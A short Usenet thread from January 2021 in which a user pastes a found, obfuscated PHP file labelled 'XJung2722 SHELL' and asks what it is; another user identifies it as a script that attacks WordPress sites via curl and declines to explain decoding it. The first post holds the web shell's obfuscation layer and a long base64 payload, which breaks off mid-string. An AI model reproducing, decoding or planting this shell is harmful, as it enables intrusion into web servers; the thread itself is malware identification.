• Hack1

    From The Doctor@21:1/5 to All on Tue Jan 26 22:20:52 2021
    Anyone knows what this is?


    <?pHp
    // XJung2722 SHELL
    // PHP 7 SUPPORTED
    $▛ =""; //
    $wz0=base64_decode('c3RyX3JvdDEz');$jn1=base64_decode('Z3ppbmZsYXRl');$nj2=base64_decode('c3RyX3JvdDEz');$gw3=base64_decode('YmFzZTY0X2RlY29kZQ==');$vt4=base64_decode('
    N1Azcmt1SlZ0aWdNL3E1d3R0K0JpczdkY2U3SWpKQzRVUWFabFV3dEFnbFdJTzRnb0twQm1pQzVnNUFJRUpLNjYrODh3ckdaT1hEMjJUekR2TWc4dzJ5U1RNdmRhQU1pTXFxNmF0VSszemRNVXdWVmZ2ZG85K1Y0L2R0Lys1dHdPRittdTlucjlHRXlHVnErYTZOOStucFhrQWVETngvL0xmWVdubjhoSmFid21saSs4ODNWbDkxM2RNMTB6c2o
    0TW1iODNXeVowWHcybnMrK2VlZVBqN3VKY096UFdOak9aK3laNjVOZVh2MnYvL0YvUW4xWHpTYnpIZjMxLzRKZmRybmNmbXFmcGcvK24vaWc3V3U3NmRBMDJMUC9Cenp6N2Z6clNsK2tscWkweEovUzNXWDU0WXNNdjc3VU9pMmhuUDRGRzJvZVJxKy9hcWJZL2FzdmpXK3gzM2o5WjZGTnR5aHVoWnNyYXJlKyt1WE5tOVRmLysyL2ZUZWVqSE
    9qMlcyOGUvMnRHbUpHT0NMczc5ZC8rMkxZNmV1ZFA1NnRvYzRERlBzcGVoM01DUXdCeXIrQmFjK2V3a2RqMnFmRHBhV01YVG9ZRUxTYmZIU1NTckZmMEpKd2pZekY2NnY1N1BIZFBRN3N0TE8zS1h0MFd0YmpVU3RpZjh2aWZMdzBGQ3N4Rk90cURzWDZTZ3h5ekNmR2dqOS8xMkN3NHI5Z05KbmtkVEsvYWpTWmY4bDFzc25SY1gvdmRiSy9mV
    FNBRzY4T3V4WDBhaVhwOVpZNkhDN2JQZlh4U1h6c2x1NzMvYzJrZUl5OXZsK3R6T1grMS81RDFDZWxzVjBVZEpLcjY1UEJldFdlZkxYa2ZqN2ZmV0lZeG56K1h0TEdzNExndFE3eTRycHZsNHlIOGRISXRyYXI5OGU3dW1Jdmk0MzlocHZNaDExbzlYN2RUV2Y3eSt2RmE5ZSsyMkVMZzhuWDVrQmUzYlZYU0g5dWVjVUhxVVpFaHdWT1Nyeit2
    bkIxUmwvc1dGQnkzaStyaFVqeGJjcVZ2MjMzWDl2bGdXWjdOMy93dWNsSC9qcGlRZXZDb1poYkNzM05zVDBSNXJvMkZ2ZXIvZmo5MTRGbS9TZ1hLdmxjVEsvVjg0ZDdRdGtwbFlVOE1XWWxPWjg1NnJYWm5mRjFIUFNlLzdYLzRBd3JoVTcrZm1uY1ArU002dnRkcnQzWUhvWGhlbW4rMVhibjdpYktZZFl4cnB2RlBUZWFPMm5SeU9TTnd2aWh
    0VGdVOHYyV3IyRTY3YmJ2emZQU3JxZU5jOW12VFhCbTFCNkhnNG5FZEgzL2JVZmVIQnVsbktFKzNOVlhuejVkd1Ric0ZxYjNiVHFiZkFIeXhuUmY3emVPOGVpWnMxM3MyZGFjN3U1bFgyRFRWUGJ1OVhqY3RUZmszOGNVMHJmSHVXNGhJNGlnQXFxK2ZUVmUybUwranYvL3hPcnZERVdmdlBpSWNqNGxHOFpVOEFLS2ZiRU9rMEpLU3ZRN0ZzVH
    Z6aWZ1NC9JQWNmLzFLK2NIYStqdERFM2x6ZDhmVkpQWHI0N3cvdFV4ZkZCN09WNWZ3eUNDSnVIemJUU3hWcldmWGptL3ZQbnY1QmNVL2VuVkVhRXk2UERtUmtNSCtyMisvZ2lJODhyNS9DblI2Mm15TTkyUHYvNDYyYzNtRXlOb01oZlcwSnVQdi83YmNwYjdQTWQ5QWNPbFV1QTErZjNGWm54MDlwcWpYTzcxYnplWmIwUjQ1SS9OeWU3MVVQZ
    mhDMkNqMUNzS1lrYnAvRnIyaGdPR20vNGhEYXYzWXY4dEJmK3dJZC9jTzlhWHIvUFJlVGY5TXBrYjJEQjZFblJ1N3g0ZGNQYzZ6ZHJCK2tXM05SaWtNaHgvbjNNZDcwS2IyWSt0MTR4dWhZQUNDK09NcDU0NVBVQUJaakl4Z1RlU1A3VGNhbmxXbmRPWFA2YklGK2hnL0RwOTNnaU1LQ2o1SWRGVTBBRFN3RjlRbGd1VTU5SkF5RHNzaXFzUzBM
    U255dEszZVlWaC95UDErdi83LzM2VDR2a2JTeEkrTlJLM3FmKzRKY3Z5UFpNQS90Zi8rSjluTWJEeFptVjVRYWRBSlVaLy9YaUtDUm5KNTUrSWNmQS9SSGxWc1g4dmtWZmUwazBmZzE1L2l3d0V2ZjdqSDZrWGxWbDlmejQ4WUJuMllMUnFqTmQ1aldNdFh0eHM2aWFWTm8vbWlsZFg4ZjFyUkNYWXROZmIwY2g3Z3pMbHh4aWhpbzJLQWx4NWg
    1NFJJRXh1R01WOHVwdlU5anR3Tm9VK0tDeGNhRk9qdmJjRGZtd2xiUFBKR0w4TUphRSttdUUzeHdTUXNRNE80Q1grckpxR3ZWdmhOOUgwdHg0OEpMRDVIWUdKOFhHM0J4Q2ZUSWZYNmRzMFdjZnh4eDRTbGZRL0VNS2p2c2xIWWgxOCtKSkVIMm1tdlp1OEpsSmgrUnN1bGVObEtXNDBXTFZVWnNOQkJ5UFlyWndaKzRxNFR4REdhV212cjM2ND
    NVRSswLzk2VlBZNnRkMWJJMkkwK1pUK0MxVCtwVC8vQUZCQ21aNnpOejVNTU1BZGxBVFM3S2Y4M2V3d3NqK05WTk1ab05IYTIzMVhrNm9mL3ZKVi9uMmM3VW16YXFUaWh4U3QrVEg5VEoyT1JkSnU1MnlFd1B4QStvV1BjSUJla1UrUS80UnJzUVFTbmpKWm4vNEttdCthbHJ1ZjRMemUwWjZBWmdBMThsVHU3dU1XZCt3bUgvanhLalVkYkk2Z
    CtsaTczZjRJK29vSDVPMkRNVEpwSDlPcHllN3IzSm5zN0ZGLzAva1dpQ3p0TGIzRUhVL0ZKZ1VjWnc0UFBuOUJoOTNUTGxWYmRGRDVDNy9MNURPN2o5RVNmTFRta3lsOEg0OGNOdmNmWVdUaDRBK3M2T2NVTERvcytPZXJDSWVBR00yZytoTDJFd1lGdndpRkwxZGl1YmZaTjRSRFhDMGQ0NHJvRnlNRTBqVDhVVjEyNTFwcTBWRERUQkVGZDNj
    KzdyNzRBSER3a0dPZFBXV2Q4SFpBM0wrUENqSjhwQXg2c2h1UEpqTkxDOG9zWG9GemRBSkhmd2tRWVpwMTl1d3RkdjdWYmdSY3pFM2FTeGJLd2JmWHJOc0xxZ1ZaNFdMV3dXa21pY2ZZek1VV3lHZlpJa044aUdwVUpKMGQ2S0lXUVBuUFB5Tk4zcUxjR3hRaG1QSHErYktzR04wZC9QVkdJQ3pnbTJvOG9ZNkF6bUtDcG1ISXo0OEpBUXJwUlp
    kdmRxamlQYWM2WHRZZE80TnZ2VGFRZmxlREVwbitCY2Urc3c2ajFOVVBoNW52ZmY0QnljRG5Id0FsemRSdU5odS9VRUJmZkZjM1V3QnR4dXhkR1FBOW5iTG9yMEoyeE14YnJQZ3h4VHI1WndWeDU3emptOVFWZ08zTW1Xd0FzS3BIV1c0eEppcWtZWUJyMEVyLzl0OStJRGdDWDc0alIrVHY1L2pCMmZnZloxVi83bXY4NzNES055ZEFzajlqSD
    BhUE1EcEFyb2xpYmFuMytYOUMxU2FPNmIxYWFHcmViemRtTFBONmQzY2EwMnBBS0ozSGo2bGZScFoyTE16cDMwYk00dkFodGZWVGx2c3hCZFFZaTNzQjZkbU9jN09SanlMYmFuOEJzUW5lYkx2cHUrUDA3MWpIbmgwK3BHdU8rL2VQUUZTZC9XNVRmbzFLSDBaMDQwS0ZFNGk5WlVBbzJuMVZ6U2ZlNnpUQWUvd1ZnTlBPaFBhTUVmdWFhenRvT
    mtQUEdzRkxFOCtCbURvSU5COUZiTzdmOFZDR2pWajZhWE8vblIyKyt6dE1KWjRiQS9FeUFaVE50eVpNSm5YSU5nM3plclJSWWdkbXk3SE5sQVJDUG9hcmZMSTRzOUdZOURCUTNMMEJKVzcwM2QrVFVUeDgrNWNaTU4xMmJPdGQyTnhqWkxEMFoza2FZZy84V3pQV1I2SEFaS252Z2VVQlVqR05URXZ1T3pxaGFsaTYrdHVSQjNWUDNoNzQ3K0Fs
    SmJudnZOM2o3RkErSXUyUGova2R4OW1GajNEVHRvRlBmY2pBTzJ2L2thNUJEa2xVb1F0bGlVTm1mSjYzd2lXQlRaUVpMbUVZZm56Mzk2Qk1lWktXQzRkam9jSFkzRm9jTk9GN3FESlpXYktYaEc2UXR4OE91T01YaWtCNHV3bGxLa1h1QnBkdDVvdy9mREFmZ1diRUZ4eHR1N3ZMTnZNQm4wNG14NGI5SVhMT2dITFk1c3g4eHhwckU0d2U5dm5
    EdXp6T05jQVdpaXpCVWU5Zy9XdDhIUUtndVlXMW5zOXBIeGZPMU5rNm5qTmJmemc0dHIwemtsQWtNd29IT2hxYkZwYms0OVhJU285YXpmZjRZMS9qM0RyRGN1NnptWS9uS3c5QWkxMDhBbC84WU01MEk5ck0xdG1EQmdRZzVzUHNLQ0lUUEFhZEt2NlRibWlPQzdhWjhQMjNLVngvckE4MGN1ZnRMTmp5c0xNWUF6L2ZkemJLdUNSQVFLNEFFTm
    NZelNjT0xJS3dXeWJsRHV6WE03Yzd3SnhqYkNjN1E4ZE9Zd3pmQlNzWWVYUDZoOC9wandHeXIwVlZ5VzZsV2JTbytpTndCTWh3SllRTlFLR3Q2OHplelNhQTd5aHpmQUFkQWpYK0FuVHY5bUkrdnZOVW0zUmVRWjk4OTlUekNVelpMQkpZaEM3OEVua2VhZ0dNbUJUMFliZEFJZmR4Ymo1NWF0RERMamI3TkhpZm82MW1IOW1tdnNmKzJLNlNIM
    lRVQ0dEb1VwMG5FUUdIZ3BQOExvSUVCakVoM1hCTFdBa25rM1JXZ1ZUVFdpRlpWQ01KZEZUZXpleEhncVNrT1B5UGd1UGpCTVRPaXdnU
    --
    Member - Liberal International This is doctor@@nl2k.ab.ca Ici doctor@@nl2k.ab.ca
    Yahweh, Queen & country!Never Satan President Republic!Beware AntiChrist rising!
    Look at Psalms 14 and 53 on Atheism https://www.empire.kred/ROOTNK?t=94a1f39b Born 29 Jan 1969 Redhill, Surrey, UK

    --- SoupGate-Win32 v1.05
    * Origin: fsxNet Usenet Gateway (21:1/5)
  • From Arno Welzel@21:1/5 to All on Wed Jan 27 10:56:58 2021
    The Doctor:

    Anyone knows what this is?
    [...]

    This looks a script to attack WordPress sites.

    And no, I won't explain how to decode this - it's really obvious and
    possible even with minimal knowledge of PHP.


    --
    Arno Welzel
    https://arnowelzel.de

    --- SoupGate-Win32 v1.05
    * Origin: fsxNet Usenet Gateway (21:1/5)
  • From The Doctor@21:1/5 to usenet@arnowelzel.de on Wed Jan 27 14:42:24 2021
    In article <i7crn8Ffu7U2@mid.individual.net>,
    Arno Welzel <usenet@arnowelzel.de> wrote:
    The Doctor:

    Anyone knows what this is?
    [...]

    This looks a script to attack WordPress sites.

    And no, I won't explain how to decode this - it's really obvious and
    possible even with minimal knowledge of PHP.


    Interesting that a hack will try to get to Wordpress site
    without Wordpress being installed.


    --
    Arno Welzel
    https://arnowelzel.de


    --
    Member - Liberal International This is doctor@@nl2k.ab.ca Ici doctor@@nl2k.ab.ca
    Yahweh, Queen & country!Never Satan President Republic!Beware AntiChrist rising!
    Look at Psalms 14 and 53 on Atheism https://www.empire.kred/ROOTNK?t=94a1f39b Born 29 Jan 1969 Redhill, Surrey, UK

    --- SoupGate-Win32 v1.05
    * Origin: fsxNet Usenet Gateway (21:1/5)
  • From Arno Welzel@21:1/5 to All on Thu Jan 28 01:59:56 2021
    The Doctor:

    In article <i7crn8Ffu7U2@mid.individual.net>,
    Arno Welzel <usenet@arnowelzel.de> wrote:
    The Doctor:

    Anyone knows what this is?
    [...]

    This looks a script to attack WordPress sites.

    And no, I won't explain how to decode this - it's really obvious and
    possible even with minimal knowledge of PHP.


    Interesting that a hack will try to get to Wordpress site
    without Wordpress being installed.

    Yes - it does so by using curl to exploit possible security holes.


    --
    Arno Welzel
    https://arnowelzel.de

    --- SoupGate-Win32 v1.05
    * Origin: fsxNet Usenet Gateway (21:1/5)
  • From H e@21:1/5 to All on Fri Jan 29 14:06:30 2021
    Somebody wants to get his ass beaten ......




    Kristjan Robam

    ya12983 ma il co m (mail . com)

    --- SoupGate-Win32 v1.05
    * Origin: fsxNet Usenet Gateway (21:1/5)